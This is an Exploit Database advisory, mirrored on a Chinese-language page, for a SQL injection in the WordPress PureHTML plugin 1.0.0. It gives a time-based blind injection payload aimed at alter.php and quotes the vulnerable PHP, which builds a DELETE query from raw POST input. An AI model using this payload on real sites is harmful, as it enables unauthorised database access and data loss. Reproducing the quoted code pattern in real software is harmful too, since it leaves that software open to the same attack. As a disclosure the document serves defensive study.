WordPress Plugin PureHTML 1.0.0 – SQL Injection

• Exploit Database
• 32 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17758/

• # Exploit Title: WordPress PureHTML plugin <= 1.0.0 SQL Injection Vulnerability
  # Date: 2011-08-31
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip
  # Version: 1.0.0 (tested)
  # Note: magic_quotes has to be turned off
  
  ---------------
  PoC (POST data)
  ---------------
  http://www.site.com/wp-content/plugins/pure-html/alter.php
   PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
  
  ---------------
  Vulnerable code
  ---------------
  if(!isset($_POST['PureHTMLNOnce'])){
  if ( !wp_verify_nonce( $_POST['PureHTMLNOnce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
  }
  else{
  ...
  if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
  ...
  $action = $_POST['action'];
  
  #delete
  if($action == "delete"){
  $sql = "delete from ".$wpdb->prefix."pureHTML_functions WHERE id='".$id."'";
  $wpdb->query($wpdb->prepare($sql)); //misusage of $wpdb->prepare() :)